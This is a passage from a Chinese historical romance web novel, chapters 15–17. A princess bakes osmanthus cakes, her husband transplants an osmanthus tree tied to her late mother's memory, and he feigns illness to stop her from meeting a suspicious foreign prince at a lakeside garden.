“王子是打算?”
“暗牌打不了,就打明牌的。”
-
次日天光初亮,朝宁便醒了。昨日她睡到下午,莲心给她准备了饭食,但饭桌上没见到贺砚知。
莲心见状主动道:“驸马说,突然有公事,下午便进宫了,估计要很晚回来。”
“是他来了我才能吃饭吗?”
莲心噤了声。
朝宁拿着银匙搅动碗中粥羹,忽又撂下。
本来是想给贺砚知找些不痛快,人反而不在,朝宁想捉弄人的心思淡了些,这顿饭吃的更是索然无味。
一直到今日清晨,仍未见贺砚知归来。
莲心挽起纱帐伺候梳洗时,见朝宁对镜怔怔出神,不由柔声相问:"殿下今日似乎心绪不佳?"
朝宁抬眼,镜中自己被施了粉黛,莲心最喜欢研究京城贵女的发髻,此刻,莲心正指尖勾起一条珍珠链挂在她漾开的头发上,却被朝宁按住了手。
“坠得头疼。”她接过那珍珠链扔进来妆奁中,晨光斜切进床,恰落在她的侧脸那不太明显的红痣。
眼见朝宁将长发挽在手中将发尾高束,轻巧利落。
她从来不像是一个墨守成规的公主,做事随心所欲,也不喜那种繁重的发饰,此刻利落束发露出皎洁后颈,倒像话本里英姿飒爽的女将军。
莲心几乎每天都要感慨,无论何种妆发就连如此简单的发髻,都掩不住她家公主那种天然无暇的美貌。
朝宁满意地看自己扎的发髻,“这样舒服多了。”
“殿下要出去吗?”
莲心一问,却把朝宁问住了,昨日码头之事闹得如此大,虽然皇兄出面,但是摩什恐怕也会到怀疑我们头上,这两日暂时不要出府了,免得被人抓了把柄。
“在府里待着吧。”她推门出去,一阵秋风席面,带着几丝凉意。
想起公主府内那棵桂花树,天气转冷一些,就娇气地掉花,现在怕是已经落花飘满园了。
朝宁在门口驻足许久,被莲心的声音打断。
“殿下若得闲,不如与往年一样做些桂花酥与桃花酥?”
朝宁会武,却鲜少有人知晓朝宁也喜欢下厨,尤其喜欢糕点,每年中秋前后,都会跟她们做些糕点,送给皇兄和父皇。
今年因大婚与摩什之事纷扰,倒有些忘了,昨日皇兄帮忙,今年多做些送去。
朝宁微微颔首,忽想起什么:“桂花酱...”
莲心挽住她的手臂:"殿下放心,公主府今年新采的桂花都带来了,去岁晾晒的白菊也一并拿来了。"
"愈发没规矩了。"朝宁由着她将自己拉向厨房
莲心唤来几个贺府丫鬟,众人皆战战兢兢,不敢想象金枝玉叶的公主竟要与她们一同下厨。
朝宁径自挽起衣袖,纤指沾取细雪般的糯米粉,手腕轻转间将清甜桂花蜜揉入面团,动作行云流水,俨然是个中老手。
"都愣着作甚?"她回眸见丫鬟们仍惴惴立于原地,"快来搭把手。"
丫头们听到朝宁的招呼,才回过神来,面面相觑,又小心翼翼地靠近了些。
莲心率先拿起一个小竹筛,将糯米粉筛得更细,丫头们都拿起一个小木勺,学着朝宁的样子,将桂花蜜一点点地滴在面团上。
朝宁又取过一块揉好的面团,将其分成了大小均匀的小剂子,“瞧,就像这样,每一个尽量都一样大,这样做出来会好看一些。”<
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p>她边说边以指腹轻按面团,手法熟练而轻柔。
不一会儿,一个一个圆滚滚的的面剂子摆满了案板,用手掌轻轻按扁,然后在中间放上一勺桂花馅料,再将边缘捏紧,一个精致的桂花酥就做好了。
转而制作桃花酥时,厨房里已盈满欢声笑语。丫头们也不再拘束,在此之前,她们都是听过颐宁公主刁蛮跋扈的传闻,可自从公主进府后,从未打骂过奴才,今日更是能屈尊和她们一起下厨,丝毫没有公主的架子。
傍晚十分,贺砚知披着一身风尘踏入府门,整个贺府弥漫着糕点的清香。
他向管事问道,“哪里来的味道?”
“是公主殿下在厨房制作糕点。”
贺砚知挑挑眉,将手上的东西递给梁蔗,向着厨房走去。
越近那股香气越发浓郁,似乎和朝宁身上的气息很像,清香中还夹杂着笑声。
朝宁背对门坐在桌前,一袭翠色罗裙在氤氲水汽中若隐若现。高束的马尾随着她手上的动作轻轻晃动,蒸腾的白雾缭绕在她周身,衬得那身影恍若谪仙。
贺砚知的脚步声惊动了一个小丫鬟,欢声戛然而止。
朝宁闻声转头,只见贺砚知一袭墨色官袍立在暮色中,蒸腾的雾气掠过他俊朗的眉眼,让那双眸子更显深邃。
他的目光久久流连在朝宁身上,莲心连忙带着其他丫鬟悄声退下。
“听说公主殿下在这儿做糕点。”贺砚知迈进厨房,身侧靠在桌边。
贺砚知靠近才看清,那双好看的眼睛中晕着水波,白皙的小脸蛋上还沾着些面粉,更像是一个偷吃的小花猫。
暮色渐浓,厨房内蒸腾的热气氤氲出暖融融的光晕。朝宁一整日未见他,此刻竟不知该说些什么。
后知后觉,才发现贺砚知一直在看着她,她不自在地轻咳一声:"不过在府里闲着无事,打发时辰罢了。"
"看来那日船上所言非虚。"贺砚知唇角微扬,"公主的技艺之多,确实令人惊艳。"
朝宁想起那日棋局对弈时他的调侃,不由扬起下巴:“你知道便好!”
"给父皇和皇兄各备了一份,公主府和贺府的下人们也都能分到些。"
贺砚知静静地看着她数着人数,朝宁抬头就对上他的眼睛,又跟昨天醉月楼一模一样的眼神,看着朝宁有点心虚。
“干什么?”她连气势也弱了些。
贺砚知却忽然别过脸去,声音里带着几分刻意的淡然:“公主殿下给谁都准备了,只有自家夫君没有。”
朝宁先是一怔,随即笑出声来:“给你留了,这话说的酸得很。”
她跳下桌,掀起一个做好的,但是包在蒸笼里,还热气腾腾的。
她轻巧地跳下桌案,揭开最里侧的蒸笼。热气腾涌间,露出一碟精心摆件的糕点,桂花酥莹润如玉,桃花酥绯色生香,个个玲珑可爱。
“尝尝?”
贺砚知在朝宁期待的眼神中,夹起一个,桂花酥入口即化,甜而不腻的蜜香在唇齿间漫开。他眼底掠过一丝讶色,这般手艺确实出乎意料。
“怎么样?好吃吗?”
贺砚知点头,“公主的手艺完全不输外面的大师。”
朝宁正得意地扬起下巴,忽觉一抹温热的触感掠过脸颊,整个人顿时怔在原地。
"罪魁祸首"却神色自若地收回手指:"殿下脸上沾了面粉。"说着又用指腹轻轻擦过她鼻尖,动作细致,"还有这里。"
朝宁耳尖倏地染上绯色,想要忽略那指尖的温度,就在她准备开口时,贺砚知适时松开手:"好了。"
“哦。”她难得语塞,看着对方自然地接过她手中的盘子放回案上。
忽然手腕忽然被温暖掌心握住,“殿下既然送了我礼物,我也给殿下一个惊喜。”
15. 因为你喜欢
秋天,入夜快了许多。
虽然过了中秋,月亮依旧高悬皎洁,朝宁一脸狐疑地被贺砚知拉着手穿过庭院,一路上晚风拂面,她只觉掌心相贴处传来的温度格外清晰。
他们进了主院,停在了卧房前,朝宁有点纳闷,“你到底要干嘛?”
贺砚知松开她的手,绕到她身后,温热掌心轻按在她肩头,将她缓缓转向院角。
转过那一刹那,一株桂树映入眼帘,虽不及公主府那棵高大,却已高过院墙,亭亭立在月光下。
此刻月光透着云层洒下,桂树的叶影散在地面上,虽然树上无花,但是随风而来,还是有那种草木清香。
朝宁一时间愣住了,“这是...”她的声音有一些颤抖,转过头看向身后的贺砚知。
“下午梁蔗新移植过来的。”贺砚知平时清冷的脸上,难得看到一丝柔和,待要解释却见她眼眶更红了几分。
朝宁没有等他回答,缓步走到那棵树下,仰头时月光勾勒出她单薄的侧影。
贺砚知只以为朝宁只是单独喜欢桂花,但是目前看来...
桂花树的意义对她来说不一样。
贺砚知一步一步走到了朝宁身边,顺着她的角度往上看,只能透过树叶,看到漆黑的夜空,以及还未被月光遮盖住的星辰。
“你知道公主府那棵树是怎么来的吗?”
贺砚知偏过头看她。
“那棵树,是从我母妃宫里移植过来的。从出生起,我便没有看过我母妃,只有在别人的只言片语,和皇宫中那冷冰冰的画像上拼凑母妃的模样。”
她的声音渐渐低下去,“那日融沁宫着火,你也看见了,父皇下令所有母妃的遗物,都只能留在融沁宫,连我自己都没有看到过,七岁那年,皇祖母过世,我没有理由待在宫里,住进了早就为我准备好的公主府,我哭着喊着,才求来了这一棵树。”
贺砚知看见她的脸上划过一颗晶莹泪水。
“那是我母妃唯一留给我的遗物。”
她凝望着树影,仿佛又看到了小时候。那时刚移植的树有些难养,七岁的她站在树下,每日盼着它能活过来能真正的开花。她等到了,第二年桂花树奇迹般地开花,最后长成了如今参天的大树。
长大后的朝宁,喜欢在秋天躺在树下,闻着桂花香,品着酒,成了她少有的安全感。
他下意识伸出手,抚上那微凉的脸颊,轻轻拭去脸上的泪水,“这棵树明年也会开花。无论以后你在何处,都会有棵桂花树陪着你。”
朝宁身体微微一颤,藏在她心底某处的情绪,像是被刺穿,眼泪已经不受控制地往外流,她不敢转头去看贺砚知。
她背对着贺砚知,胡乱擦着自己的眼泪。
贺砚知站在她背后,看着她微微颤抖的肩膀,所有人都知道颐宁公主嚣张跋扈,从小受尽宠爱,无法无天,却无人知晓,七岁的她如何守着一棵树,倾诉思念和悲伤,从来不将软弱的一面展露旁人。
忽然,一双臂膀从身后轻轻环住了她,带着淡淡凉意。
朝宁身体僵硬了一瞬,“你做什么?放开我...”声音有些哽咽,身体不停颤抖。
贺砚知非但没有松开,反而收紧了手臂,将她更深地拥入怀中。
“你别可怜我,本公主也不需要你的可怜。”朝宁说着狠话,可是眼中留下的泪珠却越来越多。
“今夜有点冷,抱着殿下取暖,”贺砚知头放低,让朝宁更好地倚在她的怀里。
“贺砚知。”
“我在。”
“为什么要这么做?”
“因为你喜欢,我便这么做了。”
贺砚知回答得没有犹豫,朝宁靠在他的怀里,世界静了一瞬,只能感受着来自两人的心脏的跳动。
月光将树下的两人笼在一起,晚风过处,桂叶沙沙作响,仿佛在低语着两人未曾说出口的心事。
-
贺砚知跟着朝宁回了厨房,两人很默契没有提刚才的事。
朝宁做好的那盘糕点有些放凉了,但是贺砚知还是一口接着一口吃完。
莲心回到厨房时,本想将新蒸的糕点装盒,却未料到公主与驸马仍在其中。
驸马靠在桌边吃着做好的糕点,眼神时不时落到公主身上。
而公主正在了揭开最上面的蒸屉,虽然来得不是时候,但是到了门口,躲也躲不过去了。
莲心硬着头皮进去,向两人行礼,朝宁看了她一眼,便转过头去,驸马也没有说话,多年经验告诉莲心,这两人之间有些不对劲。
“殿下,让奴婢来吧。”莲心接过蒸屉,透过氤氲的水汽,却见她家公主那双漂亮的眼睛红红地,眼尾似乎带着红晕,鼻子也红了,像是...哭过了。
“公主,您....”
“没事,外面有点冷。”朝宁匆匆低头,将手中的活计交给莲心,嘱咐她分装食盒,命王姑姑明日送一盒进宫给父皇。
莲心道:“殿下,王姑姑今日不在府内,已经回宫去了。”
“回宫?”朝宁一怔。
站在一侧的贺砚知突然开口,“宫里传来消息,淑妃有孕了。”
“有孕?”
王姑姑是宫里老人,现在宫里有贵人有孕,被召回去照料孕中的淑妃确实在理。
但是朝宁仍然有些诧异,淑妃在她母妃去世之后一直独宠后宫,生下朝冉之后,也未曾有孕,现在朝冉马上及笄,淑妃却有了身孕。
朝宁隐隐觉得不对劲,但是又说不上来,到底哪里不对劲。
她的思绪急速地在大脑里找寻梦中的片段,都没有淑妃怀孕的场景。
一阵剧烈的头痛突然袭来,方才情绪波动太大,此刻竟有些站不稳,连忙扶住了灶台。
贺砚知抢先一步扶住了她。
“殿下!”莲心惊慌失措。
“赶快去叫大夫!”
朝宁意识模糊间,只觉自己又落入那个熟悉的怀抱,闻到了那个熟悉的味道,她忍着痛睁眼,对上贺砚知的眸子,她好像在他的眼里看到了担忧。
-
再醒来时,朝宁发现自己躺在寝殿的床上,空气中弥漫着刺鼻的药香。
她刚睁开眼,就看见贺砚知坐在床边。“我......”
贺砚知伸手将朝宁的被子往上拽一拽,“没事,大夫说是思虑过度,需要多休息。”
朝宁望着他,呆呆地应了声:“哦。”
贺砚知拿起床边的药碗,漆黑的药汁散发着苦涩气息。
他执起药匙缓缓搅动,想起傍晚朝宁哭红的双眼,忽然有些后悔移植那棵桂花树。
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>“药能喝了吗?”
贺砚知愣住,朝宁那双亮晶晶的眼睛正在看他,“方才太烫,现在正好。”
朝宁被扶着坐起身,从他手中接过药碗,仰头一饮而尽。
她只是皱皱眉,平静地将碗交到了贺砚知的手里。
贺砚知倒是有些意外,“不嫌苦?”
“还好吧。”朝宁眨了眨眼,“看到那个小盒子了吗?”
贺砚知起身,将在镜台前的那个小盒子拿到了朝宁面前,她从盒子里拿出了一个棕黄色的蜜饯。
“陈皮糖。”朝宁眉眼弯成月牙,“我小时候也不喜欢喝药,皇祖母变着法给我找蜜饯,最后我还是爱吃这个,好几次趁人不注意,多吃了好多。”
朝宁将糖放在嘴里,犹豫了一下,又拿出了一块,迅速地塞进了贺砚知的嘴里。
甜味瞬间从口中弥漫,朝宁凑到他面前,“好吃吗?”
贺砚知点点头,看她得意地扬起下巴:“自然甜!这块算本公主赏你的。”
贺砚知勾起一抹笑容,“那要多谢殿下赏赐了。”
“好说,好说。”
朝宁的脸还是有些苍白,成亲那日她中箭,后面醉酒,大夫说还是气血虚弱,思虑过多。
贺砚知笑意渐渐从他眼底褪去,犹豫再三开口,“最近还是不要再查摩什了。”
“为什么?”朝宁立刻坐直身子。
“大夫说你要多休息,摩什最近也不会再有其他动作,我会盯着他。”
朝宁摆摆手,“我没事,本公主多年习武,身体好的不得了,不会有什么事的。”
虽然现在做梦的次数不是那么多,可是那场景就像是玉石上刻字,越想越深刻,仿佛确实是发生过一样,她不能坐以待毙。
贺砚知默然凝视着她,烛火在他深邃的眸子里跳动。
“安啦,我一点事都没有的。”朝宁拉着他的袖子。
话音未落突然惊觉这动作太过亲昵,慌忙松开手,强作镇定地翻身躺下,锦被下的脸颊却不受控制地发烫,她现在都不知道自己和贺砚知何时如此亲近了!
“睡觉!我要睡觉!”
朝宁又变得凶巴巴地了,贺砚知也不恼走到桌前,将油灯灭掉。
烛火摇曳两下倏然熄灭,屋内顿时陷入黑暗,马上要到丑时,连月亮都落下了。
朝宁在黑暗中睁着眼睛,听见他的脚步声渐远,但是没有听到关门声。
朝宁悄悄转过身,黑暗里,她看到那个高大的身影,停在了那张小榻前。
那晚贺砚知也是去了那张小榻,缩在小榻上,像是受了多大委屈。
朝宁深吸了一口气,看在今日他种桂花树的份上,总不能让他冻死,嗯...他还是有点用的。
“贺砚知!”声音在寂静中格外清晰,“过来。”
贺砚知怔了一下,迟疑片刻还是回到床前。
朝宁已经往里面挪了挪,偌大的床边留出了一个人的位置。
“躺下。”
贺砚知听了她的话,乖乖地躺在了另一侧。
“躺下。”她故作冷淡,“别多想,只是怕你冻死,平白让父皇怪我。”
半晌,朝宁忽然听到贺砚知的笑声,气息游转在她的耳边。
“殿下以为,我会多想什么?”
16. 凡她想做的,都由她
贺砚知的声音低沉中带着若有似无笑意,在黑暗中甚至能感觉到几分戏谑。
朝宁的脸红了一阵又一阵,她现在非常怀疑是刚才那碗药的作用。
朝宁翻过身面对贺砚知,强撑着气势道:“本公主如此貌美,怕你万一爱上本公主!”
一时嘴快,说完朝宁又后悔了!
一定是那碗药!让她脑子都开始不清醒了!
黑暗中久久未闻回应,朝宁也看不清他的表情,时间一点一点地走着,屋内恢复寂静,朝宁迟迟没有等到他回答。
意识到又被耍了,朝宁恼怒地翻过身不去看他。
药碗里的安神药很好用,没过多久,已经听到了轻微的呼吸声。
贺砚知倚在枕上凝望那道背影,终是极轻地应了一声:“嗯。”
-
一连过了几日,朝宁都在贺府里没出去。
贺砚知自从那晚也好几日没回来,宫里很快传出了淑妃有喜的消息,他也被传召入宫,说是辅佐皇上参与政事。
那日朝宁晕倒,莲心以为是做糕点累到了,也变着法看住朝宁不让她出去。
不过,朝宁派出去的人也确实没有摩什的消息,只知道他每日就是在京城闲逛,要不就是待在驿馆不出去,虽然知道他不可能坐以待毙,但是现在也抓不住他的把柄。
朝宁也算是偷得清闲,无聊至极时突然想到种花。
移栽桂花树的那一晚,朝宁才知道贺砚知不仅带回来了那棵树,还有好多的花苗。
从前的公主府可是有不少花草,说干就干,朝宁号召府内所有人跟着她种花。
都说这位公主不尊礼法,如今看来是真的,其他京中贵女琴棋书画、刺绣焚香,而他们这位公主在后院种花。
朝宁特意在府内的后花园找到了一块空地,土壤肥沃,又能阳光充分,极适合种些花草。
当机立断做主,要把这块空地四周所有杂草,以及空地上面贺砚知原本放置的石桌扔出去,还把整个院子都改造一番。
莲心有些犹豫问,“殿下,是否要问过驸马?”
朝宁傲然扬眉:“不必,本公主想怎么改就怎么改!”
是贺砚知让她不要出去的,那就别怪她把这院子都拆了。
“继续干!”
公主一声令下,府中所有人都跟着动起来。
管事在一旁暗地里吩咐着人,赶快去找他们家主人。
消息传进宫里时,梁蔗被吓坏了,“主子,府中说...殿下要把院子拆了。”
贺砚知拿着的笔停了一下,那张清冷的脸浮起笑意,“她是公主,也是贺家的主母,凡她想做的,都由着她。”
梁蔗黑着脸,一一应下。
贺砚知想了一下又道,“让下人看着点,别让她干太多活。”
梁蔗苦着脸,回去吩咐,原本想着他家主子是专注搞事业了,谁知道让他满京城去找和公主府同样品种的桂花树又找人移植,又去挑了许多的适合这个季节种植的花苗。
完了,他家主子真的好像沦陷了。
一天很快过去,全府人一起动工很快就完事了。
整个院子,不仅种植了菊花、秋海棠、木槿花,。
围着中心的湖种植了木槿花,秋海棠种植到了花园的东西两侧,亭台四周,那块很大的空地种满了菊花。
亭子的正前面原本是几棵已经衰败的柳树,朝宁让人把残枝清理干净,清除杂草,新砌了一个大平台。
又让人买来了许多枫树苗,种在四周。
莲心望着这几乎跟公主府的布局一样,心中暗自惊讶,自成亲前知晓要搬离公主府时,公主便怏怏不乐,到如今亲手重塑贺府园林,莲心知道,她家公主已把此处视作另一个归处。
夕阳洒下,金光洒在院中又是别样的感觉,朝宁满意地看着四周,她现在有点期待明年夏天满院的花香。
晚饭时,贺砚知仍然未归,已有三四天了。
朝宁也乐得潇洒,晚饭多吃了不少,筷子刚放下。
莲心火急火燎地跑了进来,小脸被风吹得通红。
“平时跟你说要稳重点,什么大事跑成这样?”
莲心手里拿着一个帖子,气都未喘匀:“殿下…殿下,您快看看吧...”
朝宁接过莲心手里的帖子,打开后脸色一下子就变了。
她直接将这帖子甩到了桌子上,冷笑道,“我说这么多天什么动作都没有,原来是讲算盘打到我身上来。”
“殿下...”
“摩什邀我明日京郊碧波园一游。”
碧波园是京城外一道美景,花草茂盛,四周围湖,湖中又有一个亭子立在中间,平时是许多才子佳人游玩的好地方。
朝宁只觉得心里升起一股恶寒,伴随着强烈的不适感。
莲心瞧见她家公主本就白皙的脸上,又变得惨白几分,心中着急:“殿下!您没事吧,奴婢这就去叫大夫...”
朝宁摇摇头,“我没事。”
“那殿下,奴婢这就去让人回绝了?”
朝宁没有说话低沉着眸子,想了又想,手指一下又一下扣在桌面上。
半晌,她抬起眼,“去回话,明日本公主会前去赴约。”
“殿下...您...”
“去吧。”
宫里面。
梁蔗今天第二次冲进了偏殿。
“主子,出事了!”
贺砚知抬起眼看他,“又出什么事了?”
“府里来信,说,说摩什给公主下了邀帖,明日去碧波园。公主,公主应下了!”
贺砚知拿着的笔突然掉在了桌上,梁蔗眼见着贺砚知面色骤沉。
梁蔗也不敢再说什么,贺砚知的眸子翻涌着寒光,这般神情,只在他家主子杀人时见过。
贺砚知深吸了一口气,起身向外走。
“去御书房请罪,身体不适需回家修养。”
卧房里,朝宁还没入睡,她坐在书桌前,静静地看着上面的邀帖和她写下的碧波园二字。
她想到了摩什会继续他在归宁节的计划,也可能真的会追查到船舶之事与她有关系,但是这明目张胆的邀约,倒是弄得措手不及。
正想着,卧房门突然被推开,贺砚知身着一件白色的大氅进来,带来了一阵冷风,额前的碎发也有些凌乱。
朝宁双手撑着书案,眼见着好几日不见的贺砚知,疾步走到她眼前。
“你...”
贺砚知直接将桌上的那张邀帖拿起,视线落到了最后一句话,“愿与卿同游,诉未成之缘,恭候玉音。”
贺砚知眼底像一摊死水,薄唇紧抿成一线。
朝宁愣了一下,她倒是从没见到过现在这个模样的贺砚知。
贺砚知这是...生气了?
朝宁伸手拽了拽贺砚知的衣袖,“喂...”
贺砚知反应过来收起了刚才的戾气,将这一邀帖扔在了桌上。
“你生气了?”朝宁问道。
“没有。”贺砚知开口否认,转身去了茶桌前坐下,倒了一杯水喝下。
朝宁起身,凑到贺砚知跟前,“贺大人,这么晚赶回来是担心我?”
下午,她说要把院子拆了也没见贺砚知回来,不过是一张邀帖,倒是把人气哄哄地弄了回来。
贺砚知恼怒又无奈地看向朝宁,“为什么要答应?你明知道...”
“知道他危险,但事情总是要弄清楚,他摩什为什么一定要留在京城,又为什么非要抓住我不放。”
贺砚知想开口,却又不知道如何道出。
朝宁只当他是不知如何反驳,坐在他对侧缓缓道,“况且,如今是在大夏京城,他算是有八百个胆子也不敢拿我做什么。”
贺砚知还是阴沉着脸,没有说话。
朝宁也不知道他在气什么,不过是游园罢了,她细想了一番,可能是他们现在在一条船上,算是盟友,气她没有同他商量,又问道,“那你有什么想法?”
贺砚知终于还是开口,“明天你
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还是不能去。”
“为何不可去,他既想将事件挑在明面上,去见他又何妨?”
朝宁站身抓着贺砚知的手腕,将他半推半就提起来,“好啦,回帖已经送出去了,大夏公主怎能出尔反尔,明日我会派人守在四周,以防万一。现在,你!赶快出去沐浴更衣,本公主要睡觉了!不要进来吵我!”
贺砚知就这样被朝宁推了出去,关门上朝宁的表情也变得严肃,自从答应邀帖,她已经派人提前一晚去了碧波园。
莫名的恐慌绪涌上心头,这是自梦中后,第一次真正与摩什接触,她其实也不知自己为何想去。
朝宁摇了摇头,抛开烦心事不去想,窝在被子里,不久便睡过去了。
书房内,贺砚知脸色依旧阴沉,梁蔗在一侧实在是忍不住了,“主子,其实,公主去赴约,不是坏事,若是摩什那边真套出来,我们不是更享渔翁之利吗?”
梁蔗声音越来越小,因为贺砚知的眼神已经飞过来了。
“过来,去找点东西。”
-
第二日清晨,天未大亮,朝宁还在睡着,就被敲门声弄醒了。
朝宁挣扎地坐起来,带着些许怒意:“进来!”
莲心心惊胆战地走进来,低垂着头,“殿下,驸马他…”
朝宁扶着额头,不耐烦道:“他又怎么了?”
“刚才梁蔗来报,说昨日驸马睡在书房,今个一早烧得滚烫,至今还未醒。”
朝宁心慌了一瞬,“叫大夫了吗?”
莲心连忙扶着朝宁下床,“已经去叫了。”
“我去看看他。”
朝宁赶到时,梁蔗站着不敢说话,贺砚知此刻正躺在书房的塌上,身上盖着不太厚的棉被,脸色已经苍白,昏睡中的身子还在微微发颤。
她将手放在贺砚知的额头,依旧烫得十分厉害。
朝宁让莲心去取更厚的被子,视线转而落到梁蔗身上。
“他怎么一夜烧成这个样子?”
梁蔗撑着心虚,缓缓道,“回公主的话,昨夜回来,主子又处理了好多公务,这些日子已有不适,谁知今日...”
朝宁将盖在贺砚知的被子掖好,“怎么有那么多要处理的...”
莲心拿来了厚一点的棉被,朝宁将被子盖到了他的身上,又拿来了一盆水。
“殿下,奴婢去看看大夫来没来。”莲心给了梁蔗眼色,二人退了出去。
屋内只剩下他们,朝宁一个公主,从来没有照顾过病人,她想着小时候皇祖母是如何照顾生病的她,将粘湿的手帕放到他的额头。
“冷...”床上的人动了动。
朝宁听见贺砚知的声音,不知道在呢喃什么,她侧着耳朵,靠近床上的人儿,“冷,好冷。”
“还冷吗?”朝宁将他身上的被子,又往上拉拉,将贺砚知整个包住。
“殿下…”贺砚知慢慢睁开眼睛,开口声音已经变得嘶哑。
“想喝水吗?”
贺砚知眼睛有些空洞地看着她,朝宁起身就要给他倒水。
手突然被贺砚知抓住,“多谢公主照顾我。”
朝宁能感受到他现在掌心已经烫得吓人,“好好躺着,大夫马上到,我去给你倒点水。”
她自己都没有感觉到,自己的声音现在非常的温柔。
朝宁心中还是带着一点自责,毕竟昨晚是她被贺砚知推出去的,谁知道他身体如此孱弱。
朝宁扶着贺砚知坐起来,喂了他热水。
贺砚知张着嘶哑的声音,“殿下不必自责,我与陛下告了假,昨日便有些不适了…”
“我哪里自责了?”朝宁出口否认。
谁知贺砚知轻咳了好几声,朝宁想骂他自作多情,看他那虚弱模样,还是没说出口。
“大夫怎么还没来?”朝宁张望着。
“殿下要走?”
“烧糊涂了?今日我要去碧波园赴约。”
贺砚知哀怨地盯着朝宁死死不放,“一定要去吗?”
17. 如果我说是呢?
朝宁一时哽住,瞧着床上那贺砚知那双委屈的眼神,当真和小时候养的那条小狗一模一样。
她又摸了摸贺砚知的额头,还是烫得吓人。
这人莫不是真的烧傻了。
“我又不是大夫,留在这儿你的病又好不了,梁蔗自会照顾你的。”
贺砚知挺着一张苍白的脸,扶着额头又咳嗽好多声,声音沙哑,“....本应该陪殿下一起去的,只是今日无法前去了,此行不安全,殿下还是不要去了。”
朝宁凝视片刻,突然笑出声,身体一点一点地靠近贺砚知,朝宁一把握住了贺砚知的放在胸前的手腕,将人又拉近几分,苍白的脸近在咫尺。
“今日生病这一出,莫非是拦我赴约?”朝宁那双蒙着水雾盛着笑的眼睛。
贺砚知迎上她的目光,“如果我说是呢?”
朝宁心脏没由头的跳了一下,脸上笑意瞬间凝固,越来越近的距离,眼前人丝毫没有退意,病热的温度不断扑面而来。
在快要触及到的距离,朝宁猛地甩开他的手,背过身去,“既能开玩笑,便是没事了。”
随后,不带犹豫地快速离开,外面的凉气吹散面上的热意,抚平乱掉的心脏。
朝宁叹了口气,最近当真是有些魔怔了,对着这家伙可怜起来了。
梁蔗迎着大夫,一步三回头,兜兜转转,大夫摸不着头脑,却也不敢出声,二人硬生生拖到了一炷香左右才回来。
此刻,贺砚知还躺在床上闭目,屋内已不见朝宁身影,梁蔗屏气将大夫带进来。
大夫放下药箱伸手要为贺砚知把脉。
床上人却丝毫不动,大夫为难地看向梁蔗。
“主子...”
“出去。”贺砚知声音嘶哑却不带一丝温度。
梁蔗听命,将大夫领出屋外。
大夫累得气喘吁吁,“这右相是何意啊?不看病,为何要请...”那大夫已经年过半百,被这么一折腾,骨头都要散了。
梁蔗怎敢揣测他家主子,从怀里掏出一锭银子:“安排一些祛风寒的药,多出的算是补偿。”
那大夫使劲点头,捧着银锭欢喜地出了府。
留下心碎无奈的梁蔗在风里凌乱。
等他回屋时,他家主子已不在床上,甚至穿戴整齐了,与平常别无不同,除了那不带血色的面容。
“主子,您...还是歇息吧。”梁蔗上前劝道。
贺砚知没有理会梁蔗的话,只问道:“安排的马车准备好了吗?”
“已经准备好了。”
贺砚知起身,从后门坐上早已准备好的马车直奔碧波园。
-
从贺砚知那离开,朝宁只觉得自己的头晕晕的,仿佛自己也被染了病气。
莲心见公主如此心神不定地从房里出来,问道,“那殿下是否还要出发?”
朝宁稳了心神,昨夜她思索许久,摩什如果有都将宝压在归宁节当日,此刻找她并非良机,毕竟宫宴那日,在众目睽睽下,两人已经结下仇。
可她心中清楚,或许这也是摩什计划中的一部分,只是…她也想赌一把,近距离探一探他真正的目的。
“计划不变,准备一下出发吧。”
马车驶过长安街,清晨时分,叫卖声不绝,各式各样的糕点、汤包的味道,顺着缝隙飘到她们的马车里。
朝宁拉开帘子,正瞧见张记包子铺,掀开了一锅整好的包子,匆匆走过,也看得见那白嫩嫩的包子,他家的翡翠玲珑包尤其出名。
“殿下想吃?奴婢下去给殿下买来。”
朝宁放下帘子,摇摇头,“不用了。”
莲心好似明白了,“殿下是想给驸马买吗?”
朝宁一时心虚,撇过头去,用手拍了拍莲心的头,“小丫头没事瞎想什么,本公主是有多闲,还要费事带东西回去,不过是风寒,那么大的人难道还像小孩,要人哄着。”
莲心心领神会,憋着笑点头。
她家公主真的很不会撒谎,莲心从小陪着公主,也许是小时候过于孤独,她家公主一直很珍惜身边人。
出了京城,马车开始颠簸起来。
朝宁警惕地拉起帘子的一角,仔细盯着一路上的飞吹草动。
昨夜朝宁部署的暗哨已经遍布了整个碧波园四周,清理藏在暗处的尾巴,路上倒也是风平浪静。
最后,马车平稳停下。
莲心搀着朝宁下马车,今日的碧波园,似乎人没有那么多,碧波园临湖,湖中心有一个搭好的亭子,四周种满了各式各样的花圃,即使秋日也有存着许多未凋谢的花,因此堪称京城外一大天然花园。
现在湖边仍有许多散客,朝宁下车远远便瞧见湖中亭隐约站着一个人。
朝宁缓步走到连着亭子的木桥前,周围周围了好多绥丹侍卫,为首便是那日在朝堂上露面的使者。
见朝宁过来,格吉尔迎笑过来,“参见颐宁公主。”
她微扬下颌,流苏步摇在阳光下漾出泠泠金光:“使者大人,本宫应你们王子之约前来赴约前来游船,不知守在湖外的这几个,所谓何意?”
格吉尔面上笑意不变,“今日是王子和公主殿下初次相聚,王子极为重视,自然确保闲杂人等接近湖心,扰了二位殿下。”
朝宁挑眉冷笑:“是怕闲杂人等?还是怕你们王子在本宫手里出什么意外?”
“公主殿下,您说笑了。”格吉尔侧身引路:“殿下请,王子正在亭中等您。”
“不急。自是如此重要之事,谨慎些也是应当。”
她朝莲心递去一个眼神,不多时,十余名公主府府兵疾步而来。
“这些是本宫的亲卫,”朝宁唇角含笑,“使者应当不介意吧?”
格吉尔始终沉得住气,“自然。”
这些个府兵,气势汹汹地站在那些绥丹人的面前,迎面而对,两方都不退让。
朝宁大步踏着木桥朝着湖心亭走,离湖中心越近,只觉寒气也越来越重,她不感觉冷,只是那道伫立在亭中的身影逐渐清晰,令她无端生出心悸。
朝宁压下心头不适,步履从容地行至湖心。摩什正立在桥头等候,见她到来便伸手欲扶,却被她径直掠过,径自落座石凳。
那张刻薄面容近看更显阴鸷,如今近距离看到,当真是令人生厌,真不如贺砚知...
朝宁倏然蹙眉,自己当真是昏了头,竟将这等货色与那人相较。
摩什眼中掠过一丝寒芒,悬空的手缓缓收回袖中,指节攥得发白。“没想到公主真会赴约。”他坐下时已换上虚伪笑颜。
“本宫乃大夏的公主,自当要尽地主之谊,毕竟王子不日便要返回绥丹了。”
摩什僵着脸硬挤笑容,岔开话题,“这是我为公主准备的,都是我们绥丹的风味,不知合不合公主口味。”
湖中亭的四周被帷幔遮住
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,随着风发出沙沙的声响,朝宁始终没有动筷子的意思。
摩什率先拿起筷子,夹了一块牛肉脯,放进嘴里,“味道还是不错的,公主不尝尝?”
